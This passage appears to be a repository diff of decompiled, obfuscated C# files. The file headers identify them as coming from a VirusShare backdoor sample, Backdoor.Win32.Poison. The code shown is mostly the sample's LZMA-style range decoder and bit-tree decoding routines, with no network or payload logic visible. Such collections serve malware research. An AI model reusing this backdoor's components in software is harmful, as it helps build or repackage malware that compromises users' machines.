this.\u0006\u0002.\u0002\u0017();
|
||||
}
|
||||
|
||||
public void \u0002\u000C(byte[] properties)
|
||||
{
|
||||
if (properties.Length < 5)
|
||||
throw new \u0002\u0005();
|
||||
int lc = (int) properties[0] % 9;
|
||||
int num = (int) properties[0] / 9;
|
||||
int lp = num % 5;
|
||||
int pb = num / 5;
|
||||
if (pb > 4)
|
||||
throw new \u0002\u0005();
|
||||
uint dictionarySize = 0;
|
||||
for (int index = 0; index < 4; ++index)
|
||||
dictionarySize += (uint) properties[1 + index] << index * 8;
|
||||
this.\u0005\u0010(dictionarySize);
|
||||
this.\u0005\u0011(lp, lc);
|
||||
this.\u0005\u0013(pb);
|
||||
}
|
||||
|
||||
private class \u0006\u0004
|
||||
{
|
||||
private \u0007\u0001 \u0006\u0007 = new \u0007\u0001();
|
||||
private \u0007\u0001 \u0006\u0006 = new \u0007\u0001();
|
||||
private \u0007\u0007[] \u0006\u0009 = new \u0007\u0007[new IntPtr(16)];
|
||||
private \u0007\u0007[] \u0006\u000A = new \u0007\u0007[new IntPtr(16)];
|
||||
private \u0007\u0007 \u0006\u0008 = new \u0007\u0007(8);
|
||||
private uint \u0006\u000B;
|
||||
|
||||
public void \u0002\u0010(uint numPosStates)
|
||||
{
|
||||
for (uint index = this.\u0006\u000B; index < numPosStates; ++index)
|
||||
{
|
||||
this.\u0006\u0009[(IntPtr) index] = new \u0007\u0007(3);
|
||||
this.\u0006\u000A[(IntPtr) index] = new \u0007\u0007(3);
|
||||
}
|
||||
this.\u0006\u000B = numPosStates;
|
||||
}
|
||||
|
||||
public void \u0001\u001B()
|
||||
{
|
||||
this.\u0006\u0007.\u0001\u001B();
|
||||
for (uint index = 0; index < this.\u0006\u000B; ++index)
|
||||
{
|
||||
this.\u0006\u0009[(IntPtr) index].\u0001\u001B();
|
||||
this.\u0006\u000A[(IntPtr) index].\u0001\u001B();
|
||||
}
|
||||
this.\u0006\u0006.\u0001\u001B();
|
||||
this.\u0006\u0008.\u0001\u001B();
|
||||
}
|
||||
|
||||
public uint \u0007\u000C(\u0006\u0005 rangeDecoder, uint posState)
|
||||
{
|
||||
if (this.\u0006\u0007.\u0007\u000C(rangeDecoder) == 0U)
|
||||
return this.\u0006\u0009[(IntPtr) posState].\u0007\u000C(rangeDecoder);
|
||||
uint num = 8;
|
||||
return this.\u0006\u0006.\u0007\u000C(rangeDecoder) != 0U ? num + 8U + this.\u0006\u0008.\u0007\u000C(rangeDecoder) : num + this.\u0006\u000A[(IntPtr) posState].\u0007\u000C(rangeDecoder);
|
||||
}
|
||||
}
|
||||
|
||||
private class \u0006\u000C
|
||||
{
|
||||
private \u0006\u0005.\u0006\u000C.\u0006\u0014[] \u0006\u0010;
|
||||
private int \u0006\u0012;
|
||||
private int \u0006\u0011;
|
||||
private uint \u0006\u0013;
|
||||
|
||||
public void \u0002\u0010(int numPosBits, int numPrevBits)
|
||||
{
|
||||
if (this.\u0006\u0010 != null && this.\u0006\u0012 == numPrevBits && this.\u0006\u0011 == numPosBits)
|
||||
return;
|
||||
this.\u0006\u0011 = numPosBits;
|
||||
this.\u0006\u0013 = (uint) ((1 << numPosBits) - 1);
|
||||
this.\u0006\u0012 = numPrevBits;
|
||||
uint length = (uint) (1 << this.\u0006\u0012 + this.\u0006\u0011);
|
||||
this.\u0006\u0010 = new \u0006\u0005.\u0006\u000C.\u0006\u0014[(IntPtr) length];
|
||||
for (uint index = 0; index < length; ++index)
|
||||
this.\u0006\u0010[(IntPtr) index].\u0002\u0010();
|
||||
}
|
||||
|
||||
public void \u0001\u001B()
|
||||
{
|
||||
uint num = (uint) (1 << this.\u0006\u0012 + this.\u0006\u0011);
|
||||
for (uint index = 0; index < num; ++index)
|
||||
this.\u0006\u0010[(IntPtr) index].\u0001\u001B();
|
||||
}
|
||||
|
||||
private uint \u0006\u000F(uint pos, byte prevByte) => (uint) ((((int) pos & (int) this.\u0006\u0013) << this.\u0006\u0012) + ((int) prevByte >> 8 - this.\u0006\u0012));
|
||||
|
||||
public byte \u0006\u000D(\u0006\u0005 rangeDecoder, uint pos, byte prevByte) => this.\u0006\u0010[(IntPtr) this.\u0006\u000F(pos, prevByte)].\u0006\u000D(rangeDecoder);
|
||||
|
||||
public byte \u0006\u000E(\u0006\u0005 rangeDecoder, uint pos, byte prevByte, byte matchByte) => this.\u0006\u0010[(IntPtr) this.\u0006\u000F(pos, prevByte)].\u0006\u000E(rangeDecoder, matchByte);
|
||||
|
||||
private struct \u0006\u0014
|
||||
{
|
||||
private \u0007\u0001[] \u0006\u0015;
|
||||
|
||||
public void \u0002\u0010() => this.\u0006\u0015 = new \u0007\u0001[768];
|
||||
|
||||
public void \u0001\u001B()
|
||||
{
|
||||
for (int index = 0; index < 768; ++index)
|
||||
this.\u0006\u0015[index].\u0001\u001B();
|
||||
}
|
||||
|
||||
public byte \u0006\u000D(\u0006\u0005 rangeDecoder)
|
||||
{
|
||||
uint index = 1;
|
||||
do
|
||||
{
|
||||
index = index << 1 | this.\u0006\u0015[(IntPtr) index].\u0007\u000C(rangeDecoder);
|
||||
}
|
||||
while (index < 256U);
|
||||
return (byte) index;
|
||||
}
|
||||
|
||||
public byte \u0006\u000E(\u0006\u0005 rangeDecoder, byte matchByte)
|
||||
{
|
||||
uint index = 1;
|
||||
do
|
||||
{
|
||||
uint num1 = (uint) ((int) matchByte >> 7 & 1);
|
||||
matchByte <<= 1;
|
||||
uint num2 = this.\u0006\u0015[(IntPtr) ((uint) (1 + (int) num1 << 8) + index)].\u0007\u000C(rangeDecoder);
|
||||
index = index << 1 | num2;
|
||||
if ((int) num1 != (int) num2)
|
||||
{
|
||||
while (index < 256U)
|
||||
index = index << 1 | this.\u0006\u0015[(IntPtr) index].\u0007\u000C(rangeDecoder);
|
||||
break;
|
||||
}
|
||||
}
|
||||
while (index < 256U);
|
||||
return (byte) index;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+95
@@ -0,0 +1,95 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using System.IO;
|
||||
|
||||
namespace \u0001\u0005
|
||||
{
|
||||
internal class \u0006\u0005
|
||||
{
|
||||
public const uint \u0006\u001E = 16777216;
|
||||
public uint \u000F;
|
||||
public uint \u0007\u000D;
|
||||
public Stream Stream;
|
||||
|
||||
public void \u0001\u001B(Stream stream)
|
||||
{
|
||||
this.Stream = stream;
|
||||
this.\u0007\u000D = 0U;
|
||||
this.\u000F = uint.MaxValue;
|
||||
for (int index = 0; index < 5; ++index)
|
||||
this.\u0007\u000D = this.\u0007\u000D << 8 | (uint) (byte) this.Stream.ReadByte();
|
||||
}
|
||||
|
||||
public void \u0002\u0017() => this.Stream = (Stream) null;
|
||||
|
||||
public void \u0006\u0019() => this.Stream.Close();
|
||||
|
||||
public void \u0003\u0010()
|
||||
{
|
||||
for (; this.\u000F < 16777216U; this.\u000F <<= 8)
|
||||
this.\u0007\u000D = this.\u0007\u000D << 8 | (uint) (byte) this.Stream.ReadByte();
|
||||
}
|
||||
|
||||
public void \u0006\u001D()
|
||||
{
|
||||
if (this.\u000F >= 16777216U)
|
||||
return;
|
||||
this.\u0007\u000D = this.\u0007\u000D << 8 | (uint) (byte) this.Stream.ReadByte();
|
||||
this.\u000F <<= 8;
|
||||
}
|
||||
|
||||
public uint \u0006\u001C(uint total) => this.\u0007\u000D / (this.\u000F /= total);
|
||||
|
||||
public void \u0007\u000C(uint start, uint size, uint total)
|
||||
{
|
||||
this.\u0007\u000D -= start * this.\u000F;
|
||||
this.\u000F *= size;
|
||||
this.\u0003\u0010();
|
||||
}
|
||||
|
||||
public uint \u0006\u001B(int numTotalBits)
|
||||
{
|
||||
uint num1 = this.\u000F;
|
||||
uint num2 = this.\u0007\u000D;
|
||||
uint num3 = 0;
|
||||
for (int index = numTotalBits; index > 0; --index)
|
||||
{
|
||||
num1 >>= 1;
|
||||
uint num4 = num2 - num1 >> 31;
|
||||
num2 -= num1 & num4 - 1U;
|
||||
num3 = (uint) ((int) num3 << 1 | 1 - (int) num4);
|
||||
if (num1 < 16777216U)
|
||||
{
|
||||
num2 = num2 << 8 | (uint) (byte) this.Stream.ReadByte();
|
||||
num1 <<= 8;
|
||||
}
|
||||
}
|
||||
this.\u000F = num1;
|
||||
this.\u0007\u000D = num2;
|
||||
return num3;
|
||||
}
|
||||
|
||||
public uint \u0006\u001A(uint size0, int numTotalBits)
|
||||
{
|
||||
uint num1 = (this.\u000F >> numTotalBits) * size0;
|
||||
uint num2;
|
||||
if (this.\u0007\u000D < num1)
|
||||
{
|
||||
num2 = 0U;
|
||||
this.\u000F = num1;
|
||||
}
|
||||
else
|
||||
{
|
||||
num2 = 1U;
|
||||
this.\u0007\u000D -= num1;
|
||||
this.\u000F -= num1;
|
||||
}
|
||||
this.\u0003\u0010();
|
||||
return num2;
|
||||
}
|
||||
}
|
||||
}
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using \u0001\u0005;
|
||||
|
||||
namespace \u0001\u0005
|
||||
{
|
||||
internal struct \u0007\u0001
|
||||
{
|
||||
public const int \u0007\u0002 = 11;
|
||||
public const uint \u0007\u0003 = 2048;
|
||||
private const int \u0007\u0004 = 5;
|
||||
private uint \u0007\u0005;
|
||||
|
||||
public void \u0007\u0006(int numMoveBits, uint symbol)
|
||||
{
|
||||
if (symbol == 0U)
|
||||
this.\u0007\u0005 += 2048U - this.\u0007\u0005 >> numMoveBits;
|
||||
else
|
||||
this.\u0007\u0005 -= this.\u0007\u0005 >> numMoveBits;
|
||||
}
|
||||
|
||||
public void \u0001\u001B() => this.\u0007\u0005 = 1024U;
|
||||
|
||||
public uint \u0007\u000C(\u0006\u0005 rangeDecoder)
|
||||
{
|
||||
uint num = (rangeDecoder.\u000F >> 11) * this.\u0007\u0005;
|
||||
if (rangeDecoder.\u0007\u000D < num)
|
||||
{
|
||||
rangeDecoder.\u000F = num;
|
||||
this.\u0007\u0005 += 2048U - this.\u0007\u0005 >> 5;
|
||||
if (rangeDecoder.\u000F < 16777216U)
|
||||
{
|
||||
rangeDecoder.\u0007\u000D = rangeDecoder.\u0007\u000D << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte();
|
||||
rangeDecoder.\u000F <<= 8;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
rangeDecoder.\u000F -= num;
|
||||
rangeDecoder.\u0007\u000D -= num;
|
||||
this.\u0007\u0005 -= this.\u0007\u0005 >> 5;
|
||||
if (rangeDecoder.\u000F < 16777216U)
|
||||
{
|
||||
rangeDecoder.\u0007\u000D = rangeDecoder.\u0007\u000D << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte();
|
||||
rangeDecoder.\u000F <<= 8;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
+67
@@ -0,0 +1,67 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using \u0001\u0005;
|
||||
using System;
|
||||
|
||||
namespace \u0001\u0005
|
||||
{
|
||||
internal struct \u0007\u0007
|
||||
{
|
||||
private \u0007\u0001[] \u000E;
|
||||
private int \u0007\u0009;
|
||||
|
||||
public \u0007\u0007(int numBitLevels)
|
||||
{
|
||||
this.\u0007\u0009 = numBitLevels;
|
||||
this.\u000E = new \u0007\u0001[1 << numBitLevels];
|
||||
}
|
||||
|
||||
public void \u0001\u001B()
|
||||
{
|
||||
for (uint index = 1; (long) index < (long) (1 << this.\u0007\u0009); ++index)
|
||||
this.\u000E[(IntPtr) index].\u0001\u001B();
|
||||
}
|
||||
|
||||
public uint \u0007\u000C(\u0006\u0005 rangeDecoder)
|
||||
{
|
||||
uint index1 = 1;
|
||||
for (int index2 = this.\u0007\u0009; index2 > 0; --index2)
|
||||
index1 = (index1 << 1) + this.\u000E[(IntPtr) index1].\u0007\u000C(rangeDecoder);
|
||||
return index1 - (uint) (1 << this.\u0007\u0009);
|
||||
}
|
||||
|
||||
public uint \u0007\u000A(\u0006\u0005 rangeDecoder)
|
||||
{
|
||||
uint index1 = 1;
|
||||
uint num1 = 0;
|
||||
for (int index2 = 0; index2 < this.\u0007\u0009; ++index2)
|
||||
{
|
||||
uint num2 = this.\u000E[(IntPtr) index1].\u0007\u000C(rangeDecoder);
|
||||
index1 = (index1 << 1) + num2;
|
||||
num1 |= num2 << index2;
|
||||
}
|
||||
return num1;
|
||||
}
|
||||
|
||||
public static uint \u0007\u000A(
|
||||
\u0007\u0001[] _param0,
|
||||
uint startIndex,
|
||||
\u0006\u0005 rangeDecoder,
|
||||
int _param3)
|
||||
{
|
||||
uint num1 = 1;
|
||||
uint num2 = 0;
|
||||
for (int index = 0; index < _param3; ++index)
|
||||
{
|
||||
uint num3 = _param0[(IntPtr) (startIndex + num1)].\u0007\u000C(rangeDecoder);
|
||||
num1 = (num1 << 1) + num3;
|
||||
num2 |= num3 << index;
|
||||
}
|
||||
return num2;
|
||||
}
|
||||
}
|
||||
}
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
internal class \u0001\u0006
|
||||
{
|
||||
}
|
||||
Reference in New Issue
Block a user